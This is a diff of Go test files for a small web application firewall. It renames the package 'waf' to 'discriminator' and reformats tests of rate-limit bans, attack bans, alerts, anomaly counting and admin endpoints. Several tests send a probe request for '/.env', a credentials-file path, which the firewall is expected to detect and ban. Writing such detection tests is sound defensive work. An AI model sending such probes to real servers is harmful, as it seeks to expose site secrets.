s.get(otherClient, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||||
otherClient,
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionClientIsRateLimited,
|
|
||||||
)
|
|
||||||
|
|
||||||
// Asked about by its address in IPv6 form too.
|
// Asked about by its address in IPv6 form too.
|
||||||
for _, addr := range []string{otherClient, "::ffff:" + otherClient} {
|
for _, addr := range []string{otherClient, "::ffff:" + otherClient} {
|
||||||
@@ -359,7 +285,7 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
|
|||||||
Bans []state.BanEntry `json:"bans"`
|
Bans []state.BanEntry `json:"bans"`
|
||||||
}
|
}
|
||||||
|
|
||||||
decode(t, s.admin(http.MethodGet, waf.ClientsPath+addr, "",
|
decode(t, s.admin(http.MethodGet, discriminator.ClientsPath+addr, "",
|
||||||
http.StatusOK), &got)
|
http.StatusOK), &got)
|
||||||
|
|
||||||
if got.Client == nil {
|
if got.Client == nil {
|
||||||
@@ -376,27 +302,21 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
|
|||||||
if len(got.Bans) != 1 || got.Bans[0].Cause != bans.CauseLimit ||
|
if len(got.Bans) != 1 || got.Bans[0].Cause != bans.CauseLimit ||
|
||||||
got.Bans[0].Reason != "requests per minute over the limit of 2" ||
|
got.Bans[0].Reason != "requests per minute over the limit of 2" ||
|
||||||
got.Bans[0].Notes.Count != 3 {
|
got.Bans[0].Notes.Count != 3 {
|
||||||
t.Errorf(
|
t.Errorf("%s: bans %+v, want the one for the broken limit", addr, got.Bans)
|
||||||
"%s: bans %+v, want the one for the broken limit",
|
|
||||||
addr,
|
|
||||||
got.Bans,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Of an address no request came from and no ban covers, nothing is
|
// Of an address no request came from and no ban covers, nothing is
|
||||||
// known.
|
// known.
|
||||||
got := s.admin(http.MethodGet, waf.ClientsPath+"198.51.100.99", "",
|
got := s.admin(http.MethodGet, discriminator.ClientsPath+"198.51.100.99", "",
|
||||||
http.StatusOK)
|
http.StatusOK)
|
||||||
if string(
|
if string(got.body) != "{\n \"client\": null,\n \"bans\": []\n}\n" {
|
||||||
got.body,
|
|
||||||
) != "{\n \"client\": null,\n \"bans\": []\n}\n" {
|
|
||||||
t.Errorf("an unknown client is answered\n%s", got.body)
|
t.Errorf("an unknown client is answered\n%s", got.body)
|
||||||
}
|
}
|
||||||
|
|
||||||
s.admin(http.MethodGet, waf.ClientsPath+"203.0.113", "",
|
s.admin(http.MethodGet, discriminator.ClientsPath+"203.0.113", "",
|
||||||
http.StatusBadRequest)
|
http.StatusBadRequest)
|
||||||
s.admin(http.MethodDelete, waf.BansPath+"/203.0.113.0/24", "",
|
s.admin(http.MethodDelete, discriminator.BansPath+"/203.0.113.0/24", "",
|
||||||
http.StatusBadRequest)
|
http.StatusBadRequest)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -409,13 +329,7 @@ func TestAdminEndpointsNeedTheTokenInObserveMode(t *testing.T) {
|
|||||||
})
|
})
|
||||||
|
|
||||||
for _, e := range adminEndpoints() {
|
for _, e := range adminEndpoints() {
|
||||||
s.ownEndpointRequest(
|
s.ownEndpointRequest("", e.method, e.path, e.body, http.StatusUnauthorized)
|
||||||
"",
|
|
||||||
e.method,
|
|
||||||
e.path,
|
|
||||||
e.body,
|
|
||||||
http.StatusUnauthorized,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if held := server.Ledger.Snapshot(); len(held) != 0 {
|
if held := server.Ledger.Snapshot(); len(held) != 0 {
|
||||||
@@ -433,14 +347,14 @@ type adminEndpoint struct {
|
|||||||
// bans on otherClient, and asking about otherClient.
|
// bans on otherClient, and asking about otherClient.
|
||||||
func adminEndpoints() []adminEndpoint {
|
func adminEndpoints() []adminEndpoint {
|
||||||
return []adminEndpoint{
|
return []adminEndpoint{
|
||||||
{http.MethodGet, waf.BansPath, ""},
|
{http.MethodGet, discriminator.BansPath, ""},
|
||||||
{http.MethodPost, waf.BansPath, banOtherClient},
|
{http.MethodPost, discriminator.BansPath, banOtherClient},
|
||||||
{http.MethodDelete, waf.BansPath + "/" + otherClient, ""},
|
{http.MethodDelete, discriminator.BansPath + "/" + otherClient, ""},
|
||||||
{http.MethodGet, waf.ClientsPath + otherClient, ""},
|
{http.MethodGet, discriminator.ClientsPath + otherClient, ""},
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// admin sends a request with method for path, with body, to waf's own
|
// admin sends a request with method for path, with body, to discriminator's own
|
||||||
// address, with the admin token, and checks that it is answered with status, its
|
// address, with the admin token, and checks that it is answered with status, its
|
||||||
// log line's action own_endpoint. It returns the answer.
|
// log line's action own_endpoint. It returns the answer.
|
||||||
func (s *sender) admin(method, path, body string, status int) answer {
|
func (s *sender) admin(method, path, body string, status int) answer {
|
||||||
@@ -456,7 +370,7 @@ func (s *sender) ownEndpointRequest(
|
|||||||
) answer {
|
) answer {
|
||||||
s.t.Helper()
|
s.t.Helper()
|
||||||
|
|
||||||
req := newRequest(s.t, method, s.wafAddr, path, strings.NewReader(body))
|
req := newRequest(s.t, method, s.discriminatorAddr, path, strings.NewReader(body))
|
||||||
if authorization != "" {
|
if authorization != "" {
|
||||||
req.Header.Set("Authorization", authorization)
|
req.Header.Set("Authorization", authorization)
|
||||||
}
|
}
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf_test
|
package discriminator_test
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"maps"
|
"maps"
|
||||||
@@ -10,8 +10,8 @@ import (
|
|||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
@@ -46,10 +46,7 @@ func TestBanForABrokenLimitRaisesABanAlertWithItsNotes(t *testing.T) {
|
|||||||
}, requestlog.FormatTime(start.Add(time.Hour))))
|
}, requestlog.FormatTime(start.Add(time.Hour))))
|
||||||
|
|
||||||
if ban.Notes.Limit != 1 || ban.Notes.Request.Path != "/" {
|
if ban.Notes.Limit != 1 || ban.Notes.Request.Path != "/" {
|
||||||
t.Errorf(
|
t.Errorf("the alert's notes are %+v, want those of the broken limit", ban.Notes)
|
||||||
"the alert's notes are %+v, want those of the broken limit",
|
|
||||||
ban.Notes,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -65,12 +62,7 @@ func TestAttackBanRaisesABanAlertThenAPermanentBanAlert(t *testing.T) {
|
|||||||
|
|
||||||
// The probe bans the client for seven days, and its next request makes
|
// The probe bans the client for seven days, and its next request makes
|
||||||
// the ban permanent. The request after that changes nothing.
|
// the ban permanent. The request after that changes nothing.
|
||||||
s.request(
|
s.request(client, "/.env", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||||
client,
|
|
||||||
"/.env",
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionTemporarilyBanned,
|
|
||||||
)
|
|
||||||
|
|
||||||
attackBan := server.Ledger.Bans(netblock)[0]
|
attackBan := server.Ledger.Bans(netblock)[0]
|
||||||
|
|
||||||
@@ -91,27 +83,15 @@ func TestAttackBanRaisesABanAlertThenAPermanentBanAlert(t *testing.T) {
|
|||||||
|
|
||||||
otherBans := server.Ledger.Bans(other)
|
otherBans := server.Ledger.Bans(other)
|
||||||
|
|
||||||
wantAlerts(
|
wantAlerts(t, queue,
|
||||||
t,
|
|
||||||
queue,
|
|
||||||
attackAlert(alerts.EventBan, start, client, attackBan,
|
attackAlert(alerts.EventBan, start, client, attackBan,
|
||||||
requestlog.FormatTime(start.Add(7*24*time.Hour))),
|
requestlog.FormatTime(start.Add(7*24*time.Hour))),
|
||||||
attackAlert(alerts.EventPermanentBan, start.Add(time.Minute), client,
|
attackAlert(alerts.EventPermanentBan, start.Add(time.Minute), client,
|
||||||
permanentBan, "permanent"),
|
permanentBan, "permanent"),
|
||||||
attackAlert(
|
attackAlert(alerts.EventBan, start.Add(time.Minute), otherClient, otherBans[0],
|
||||||
alerts.EventBan,
|
requestlog.FormatTime(start.Add(time.Minute+7*24*time.Hour))),
|
||||||
start.Add(time.Minute),
|
attackAlert(alerts.EventPermanentBan, start.Add(time.Minute+7*24*time.Hour),
|
||||||
otherClient,
|
otherClient, otherBans[1], "permanent"),
|
||||||
otherBans[0],
|
|
||||||
requestlog.FormatTime(start.Add(time.Minute+7*24*time.Hour)),
|
|
||||||
),
|
|
||||||
attackAlert(
|
|
||||||
alerts.EventPermanentBan,
|
|
||||||
start.Add(time.Minute+7*24*time.Hour),
|
|
||||||
otherClient,
|
|
||||||
otherBans[1],
|
|
||||||
"permanent",
|
|
||||||
),
|
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -128,11 +108,7 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
|
|||||||
// A ban for a clear sign of attack, which a request under it would make
|
// A ban for a clear sign of attack, which a request under it would make
|
||||||
// permanent.
|
// permanent.
|
||||||
group := netip.MustParsePrefix(ipv6Group)
|
group := netip.MustParsePrefix(ipv6Group)
|
||||||
attackBan, _ := server.Ledger.BanForAttack(
|
attackBan, _ := server.Ledger.BanForAttack(group, start, bans.Notes{RuleID: "probe"})
|
||||||
group,
|
|
||||||
start,
|
|
||||||
bans.Notes{RuleID: "probe"},
|
|
||||||
)
|
|
||||||
|
|
||||||
// The third request breaks the limit, and so does the fourth, within the
|
// The third request breaks the limit, and so does the fourth, within the
|
||||||
// cooldown, which raises nothing. The probe is a clear sign of attack.
|
// cooldown, which raises nothing. The probe is a clear sign of attack.
|
||||||
@@ -147,12 +123,8 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
|
|||||||
held := server.Ledger.Snapshot()
|
held := server.Ledger.Snapshot()
|
||||||
if len(held) != 1 || !reflect.DeepEqual(held[0], attackBan) ||
|
if len(held) != 1 || !reflect.DeepEqual(held[0], attackBan) ||
|
||||||
line.BanExpires != requestlog.FormatTime(attackBan.Expires) {
|
line.BanExpires != requestlog.FormatTime(attackBan.Expires) {
|
||||||
t.Errorf(
|
t.Errorf("the ledger holds %+v, and the log line gives %s, want the ban "+
|
||||||
"the ledger holds %+v, and the log line gives %s, want the ban "+
|
"for the attack alone, as it was", held, line.BanExpires)
|
||||||
"for the attack alone, as it was",
|
|
||||||
held,
|
|
||||||
line.BanExpires,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
||||||
@@ -166,35 +138,21 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
|
|||||||
|
|
||||||
if limitNotes.Limit != 2 || limitNotes.Request.Path != "/" ||
|
if limitNotes.Limit != 2 || limitNotes.Request.Path != "/" ||
|
||||||
attackNotes.Request.Path != "/.env" {
|
attackNotes.Request.Path != "/.env" {
|
||||||
t.Errorf(
|
t.Errorf("the notes are %+v and %+v, want those of the broken limit and "+
|
||||||
"the notes are %+v and %+v, want those of the broken limit and "+
|
"of the probe", limitNotes, attackNotes)
|
||||||
"of the probe",
|
|
||||||
limitNotes,
|
|
||||||
attackNotes,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Each alert is the one enforce mode would have raised, with mode
|
// Each alert is the one enforce mode would have raised, with mode
|
||||||
// observe in its detail.
|
// observe in its detail.
|
||||||
want := []alerts.Alert{
|
want := []alerts.Alert{
|
||||||
banAlert(alerts.EventBan, start, client, bans.Ban{
|
banAlert(alerts.EventBan, start, client, bans.Ban{
|
||||||
Netblock: netip.MustParsePrefix(
|
Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
|
||||||
client + "/32",
|
|
||||||
), Cause: bans.CauseLimit,
|
|
||||||
Reason: "requests per minute over the limit of 2", Notes: limitNotes,
|
Reason: "requests per minute over the limit of 2", Notes: limitNotes,
|
||||||
}, requestlog.FormatTime(start.Add(time.Hour))),
|
}, requestlog.FormatTime(start.Add(time.Hour))),
|
||||||
attackAlert(alerts.EventBan, start, otherClient, bans.Ban{
|
attackAlert(alerts.EventBan, start, otherClient, bans.Ban{
|
||||||
Netblock: netip.MustParsePrefix(
|
Netblock: netip.MustParsePrefix(otherClient + "/32"), Notes: attackNotes,
|
||||||
otherClient + "/32",
|
|
||||||
), Notes: attackNotes,
|
|
||||||
}, requestlog.FormatTime(start.Add(7*24*time.Hour))),
|
}, requestlog.FormatTime(start.Add(7*24*time.Hour))),
|
||||||
attackAlert(
|
attackAlert(alerts.EventPermanentBan, start, ipv6Client, attackBan, permanent),
|
||||||
alerts.EventPermanentBan,
|
|
||||||
start,
|
|
||||||
ipv6Client,
|
|
||||||
attackBan,
|
|
||||||
permanent,
|
|
||||||
),
|
|
||||||
}
|
}
|
||||||
for _, alert := range want {
|
for _, alert := range want {
|
||||||
alert.Detail["mode"] = observe
|
alert.Detail["mode"] = observe
|
||||||
@@ -222,12 +180,7 @@ func TestObserveModeWorksOutABanOnlyWhenItsAlertWouldBeSent(t *testing.T) {
|
|||||||
// The other client's first probe raises the second. Its second probe is
|
// The other client's first probe raises the second. Its second probe is
|
||||||
// within the cooldown.
|
// within the cooldown.
|
||||||
for range 2 {
|
for range 2 {
|
||||||
s.request(
|
s.request(otherClient, "/.env", http.StatusOK, requestlog.ActionForward)
|
||||||
otherClient,
|
|
||||||
"/.env",
|
|
||||||
http.StatusOK,
|
|
||||||
requestlog.ActionForward,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// The IPv6 client's third request breaks the limit past the two alerts
|
// The IPv6 client's third request breaks the limit past the two alerts
|
||||||
@@ -250,20 +203,16 @@ func TestObserveModeWorksOutABanOnlyWhenItsAlertWouldBeSent(t *testing.T) {
|
|||||||
// never sent them, and returns the queue they wait in as well.
|
// never sent them, and returns the queue they wait in as well.
|
||||||
func startWithAlerts(
|
func startWithAlerts(
|
||||||
t *testing.T, env map[string]string,
|
t *testing.T, env map[string]string,
|
||||||
) (*sender, *clock, *waf.Server, *alerts.Queue) {
|
) (*sender, *clock, *discriminator.Server, *alerts.Queue) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
return startAppWithAlerts(
|
return startAppWithAlerts(t, func(http.ResponseWriter, *http.Request) {}, env)
|
||||||
t,
|
|
||||||
func(http.ResponseWriter, *http.Request) {},
|
|
||||||
env,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// startAppWithAlerts is startWithAlerts in front of the app handler.
|
// startAppWithAlerts is startWithAlerts in front of the app handler.
|
||||||
func startAppWithAlerts(
|
func startAppWithAlerts(
|
||||||
t *testing.T, handler http.HandlerFunc, env map[string]string,
|
t *testing.T, handler http.HandlerFunc, env map[string]string,
|
||||||
) (*sender, *clock, *waf.Server, *alerts.Queue) {
|
) (*sender, *clock, *discriminator.Server, *alerts.Queue) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
app := startApp(t, handler)
|
app := startApp(t, handler)
|
||||||
@@ -275,15 +224,9 @@ func startAppWithAlerts(
|
|||||||
}
|
}
|
||||||
maps.Copy(settings, env)
|
maps.Copy(settings, env)
|
||||||
|
|
||||||
addr, out, server, queue := startProxyWithAlerts(
|
addr, out, server, queue := startProxyWithAlerts(t, app.URL, "", clk.Now, settings)
|
||||||
t,
|
|
||||||
app.URL,
|
|
||||||
"",
|
|
||||||
clk.Now,
|
|
||||||
settings,
|
|
||||||
)
|
|
||||||
|
|
||||||
s := &sender{t: t, addr: addr, wafAddr: server.Addr, out: out}
|
s := &sender{t: t, addr: addr, discriminatorAddr: server.Addr, out: out}
|
||||||
|
|
||||||
return s, clk, server, queue
|
return s, clk, server, queue
|
||||||
}
|
}
|
||||||
@@ -292,11 +235,7 @@ func startAppWithAlerts(
|
|||||||
// the time raised, for ban, with its netblock, cause, reason and notes,
|
// the time raised, for ban, with its netblock, cause, reason and notes,
|
||||||
// which ends at expires, as the log line gives it.
|
// which ends at expires, as the log line gives it.
|
||||||
func banAlert(
|
func banAlert(
|
||||||
event string,
|
event string, raised time.Time, client string, ban bans.Ban, expires string,
|
||||||
raised time.Time,
|
|
||||||
client string,
|
|
||||||
ban bans.Ban,
|
|
||||||
expires string,
|
|
||||||
) alerts.Alert {
|
) alerts.Alert {
|
||||||
return alerts.Alert{
|
return alerts.Alert{
|
||||||
Instance: alertInstance,
|
Instance: alertInstance,
|
||||||
@@ -315,11 +254,7 @@ func banAlert(
|
|||||||
// attackAlert is banAlert for a ban for the probe rule of testRules, with
|
// attackAlert is banAlert for a ban for the probe rule of testRules, with
|
||||||
// the netblock and the notes of ban.
|
// the netblock and the notes of ban.
|
||||||
func attackAlert(
|
func attackAlert(
|
||||||
event string,
|
event string, raised time.Time, client string, ban bans.Ban, expires string,
|
||||||
raised time.Time,
|
|
||||||
client string,
|
|
||||||
ban bans.Ban,
|
|
||||||
expires string,
|
|
||||||
) alerts.Alert {
|
) alerts.Alert {
|
||||||
return banAlert(event, raised, client, bans.Ban{
|
return banAlert(event, raised, client, bans.Ban{
|
||||||
Netblock: ban.Netblock, Cause: bans.CauseAttack, Reason: "matched the rule probe",
|
Netblock: ban.Netblock, Cause: bans.CauseAttack, Reason: "matched the rule probe",
|
||||||
+2
-5
@@ -1,4 +1,4 @@
|
|||||||
package waf
|
package discriminator
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"net/netip"
|
"net/netip"
|
||||||
@@ -24,10 +24,7 @@ func TestWithEveryAnomalyThresholdOffARequestIsNotCounted(t *testing.T) {
|
|||||||
|
|
||||||
defer func() {
|
defer func() {
|
||||||
if r := recover(); r != nil {
|
if r := recover(); r != nil {
|
||||||
t.Errorf(
|
t.Errorf("counting the request did work, with every threshold off: %v", r)
|
||||||
"counting the request did work, with every threshold off: %v",
|
|
||||||
r,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
|
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf_test
|
package discriminator_test
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"maps"
|
"maps"
|
||||||
@@ -13,9 +13,9 @@ import (
|
|||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/anomaly"
|
"sneak.berlin/go/smallwebwaf/internal/anomaly"
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// The anomaly thresholds: the prefix of a scope followed by the end of a
|
// The anomaly thresholds: the prefix of a scope followed by the end of a
|
||||||
@@ -51,9 +51,7 @@ const (
|
|||||||
hour = "hour"
|
hour = "hour"
|
||||||
)
|
)
|
||||||
|
|
||||||
func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(
|
func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for _, scope := range []struct {
|
for _, scope := range []struct {
|
||||||
@@ -97,8 +95,9 @@ func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(
|
|||||||
t.Run(setting, func(t *testing.T) {
|
t.Run(setting, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
env := map[string]string{setting: value, watchNets: office}
|
s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{
|
||||||
s, clk, server, queue := startWithLookupsAndClock(t, env)
|
setting: value, watchNets: office,
|
||||||
|
})
|
||||||
start := clk.Now()
|
start := clk.Now()
|
||||||
|
|
||||||
// The third upload takes the count over the threshold, and the
|
// The third upload takes the count over the threshold, and the
|
||||||
@@ -157,10 +156,7 @@ func wantAlertedAgainOnceTheCooldownHasRunOut(
|
|||||||
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
||||||
if len(waiting) != 2 || !waiting[1].Time.Equal(clk.Now()) ||
|
if len(waiting) != 2 || !waiting[1].Time.Equal(clk.Now()) ||
|
||||||
waiting[1].SuppressedRepeats != 1 {
|
waiting[1].SuppressedRepeats != 1 {
|
||||||
t.Errorf(
|
t.Errorf("alerts wait %+v, want the first and another, with 1 repeat", waiting)
|
||||||
"alerts wait %+v, want the first and another, with 1 repeat",
|
|
||||||
waiting,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -205,10 +201,7 @@ func TestEveryRequestIsCountedWhateverIsDoneWithIt(t *testing.T) {
|
|||||||
got = append(got, alert.Client.String())
|
got = append(got, alert.Client.String())
|
||||||
}
|
}
|
||||||
|
|
||||||
if want := []string{allowed, exempt, client, denied}; !slices.Equal(
|
if want := []string{allowed, exempt, client, denied}; !slices.Equal(got, want) {
|
||||||
got,
|
|
||||||
want,
|
|
||||||
) {
|
|
||||||
t.Errorf("alerts for the clients %v, want %v", got, want)
|
t.Errorf("alerts for the clients %v, want %v", got, want)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -217,10 +210,7 @@ func TestThresholdsOffCountNothingAndAlertNothing(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// With every threshold off, nothing is counted.
|
// With every threshold off, nothing is counted.
|
||||||
s, server, queue := startWithLookups(
|
s, server, queue := startWithLookups(t, map[string]string{watchNets: office})
|
||||||
t,
|
|
||||||
map[string]string{watchNets: office},
|
|
||||||
)
|
|
||||||
|
|
||||||
for range 5 {
|
for range 5 {
|
||||||
s.uploadFrom(client)
|
s.uploadFrom(client)
|
||||||
@@ -316,10 +306,7 @@ func TestClientIsCountedForItsASNumberOnceTheLookupGivesOne(t *testing.T) {
|
|||||||
got[counter.ASN] = counter.Minute.Current
|
got[counter.ASN] = counter.Minute.Current
|
||||||
}
|
}
|
||||||
|
|
||||||
if want := map[string]int64{asnDE: 2, asnKP: 1, "AS64500": 1}; !maps.Equal(
|
if want := map[string]int64{asnDE: 2, asnKP: 1, "AS64500": 1}; !maps.Equal(got, want) {
|
||||||
got,
|
|
||||||
want,
|
|
||||||
) {
|
|
||||||
t.Errorf("requests by AS number %v, want %v", got, want)
|
t.Errorf("requests by AS number %v, want %v", got, want)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -332,14 +319,12 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
|
|||||||
// kept.
|
// kept.
|
||||||
geojsURL, _, release := startHeldGeoJS(t)
|
geojsURL, _, release := startHeldGeoJS(t)
|
||||||
|
|
||||||
var server atomic.Pointer[waf.Server]
|
var server atomic.Pointer[discriminator.Server]
|
||||||
|
|
||||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||||
release()
|
release()
|
||||||
waitUntil(func() bool {
|
waitUntil(func() bool {
|
||||||
_, kept := server.Load().GeoJS.Kept(
|
_, kept := server.Load().GeoJS.Kept(netip.MustParsePrefix(fromDE + "/32"))
|
||||||
netip.MustParsePrefix(fromDE + "/32"),
|
|
||||||
)
|
|
||||||
|
|
||||||
return kept
|
return kept
|
||||||
})
|
})
|
||||||
@@ -357,10 +342,7 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
|
|||||||
// number it gives.
|
// number it gives.
|
||||||
s := &sender{t: t, addr: addr, out: out}
|
s := &sender{t: t, addr: addr, out: out}
|
||||||
if line := s.get(fromDE, http.StatusOK, requestlog.ActionForward); line.ASN != "" {
|
if line := s.get(fromDE, http.StatusOK, requestlog.ActionForward); line.ASN != "" {
|
||||||
t.Errorf(
|
t.Errorf("log line has AS number %q, want none: the request waited", line.ASN)
|
||||||
"log line has AS number %q, want none: the request waited",
|
|
||||||
line.ASN,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
want := []anomaly.Counter{{
|
want := []anomaly.Counter{{
|
||||||
@@ -375,15 +357,10 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
|
|||||||
func TestEachNamedNetblockCountsTheClientsInIt(t *testing.T) {
|
func TestEachNamedNetblockCountsTheClientsInIt(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, _, server, _ := startAppWithAlerts(
|
s, _, server, _ := startAppWithAlerts(t, readAndAnswer, map[string]string{
|
||||||
t,
|
anomalyWatch + requestsPerMinute: aLot,
|
||||||
readAndAnswer,
|
watchNets: office + ",wide=203.0.0.0/16,other=198.51.100.0/25",
|
||||||
map[string]string{
|
})
|
||||||
anomalyWatch + requestsPerMinute: aLot,
|
|
||||||
watchNets: office + ",wide=203.0.0.0/16" +
|
|
||||||
",other=198.51.100.0/25",
|
|
||||||
},
|
|
||||||
)
|
|
||||||
|
|
||||||
// client is in office and in wide.
|
// client is in office and in wide.
|
||||||
for _, from := range []string{client, "203.0.200.1", "192.0.2.7"} {
|
for _, from := range []string{client, "203.0.200.1", "192.0.2.7"} {
|
||||||
@@ -395,10 +372,7 @@ func TestEachNamedNetblockCountsTheClientsInIt(t *testing.T) {
|
|||||||
got[counter.Name] = counter.Minute.Current
|
got[counter.Name] = counter.Minute.Current
|
||||||
}
|
}
|
||||||
|
|
||||||
if want := map[string]int64{"office": 1, "wide": 2}; !maps.Equal(
|
if want := map[string]int64{"office": 1, "wide": 2}; !maps.Equal(got, want) {
|
||||||
got,
|
|
||||||
want,
|
|
||||||
) {
|
|
||||||
t.Errorf("requests by named netblock %v, want %v", got, want)
|
t.Errorf("requests by named netblock %v, want %v", got, want)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,578 @@
|
|||||||
|
package discriminator_test
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"maps"
|
||||||
|
"net"
|
||||||
|
"net/http"
|
||||||
|
"net/http/httptest"
|
||||||
|
"net/netip"
|
||||||
|
"slices"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
"testing/synctest"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/lookup"
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
// answerTimeLimit is the default of rproxy's SWRP_TIMEOUT_MS, the time
|
||||||
|
// discriminator has to answer.
|
||||||
|
answerTimeLimit = 2 * time.Second
|
||||||
|
// defaultLookupWait is the default of SWW_LOOKUP_TIMEOUT.
|
||||||
|
defaultLookupWait = 800 * time.Millisecond
|
||||||
|
// The header limits SPEC.md gives.
|
||||||
|
cookieLimit = 50
|
||||||
|
headerFieldLimit = 100
|
||||||
|
// cookieHeader is the header the cookie limit counts.
|
||||||
|
cookieHeader = "Cookie"
|
||||||
|
// tooLarge is how discriminator refuses a request over the header limits.
|
||||||
|
tooLarge = http.StatusRequestHeaderFieldsTooLarge
|
||||||
|
// silentAbuseIPDBURL is where AbuseIPDB never answers: at the stand-in
|
||||||
|
// that silentGeoJSURL names too.
|
||||||
|
silentAbuseIPDBURL = "silent://abuseipdb/api/v2/check"
|
||||||
|
// wholeLimit is the percentage of a rate limit that lowers it not at all.
|
||||||
|
wholeLimit = 100
|
||||||
|
// clientsDecision is the CrowdSec decision list holding client alone.
|
||||||
|
clientsDecision = `[{"duration": "4h0m0s", "scenario": "crowdsecurity/ssh-bf", ` +
|
||||||
|
`"scope": "Ip", "type": "ban", "value": "` + client + `"}]`
|
||||||
|
)
|
||||||
|
|
||||||
|
// cookies returns a Cookie header's value with count cookies.
|
||||||
|
func cookies(count int) string {
|
||||||
|
parts := make([]string, 0, count)
|
||||||
|
for i := range count {
|
||||||
|
parts = append(parts, "c"+strconv.Itoa(i)+"=1")
|
||||||
|
}
|
||||||
|
|
||||||
|
return strings.Join(parts, "; ")
|
||||||
|
}
|
||||||
|
|
||||||
|
// fillHeaders adds headers to a question until the checks see total header
|
||||||
|
// fields: all but ClientHeader and PeerHeader, which discriminator removes. Go's
|
||||||
|
// client sends nothing else but Host, which the limit does not count, once
|
||||||
|
// User-Agent is set.
|
||||||
|
func fillHeaders(req *http.Request, total int) {
|
||||||
|
req.Header.Set("User-Agent", "test")
|
||||||
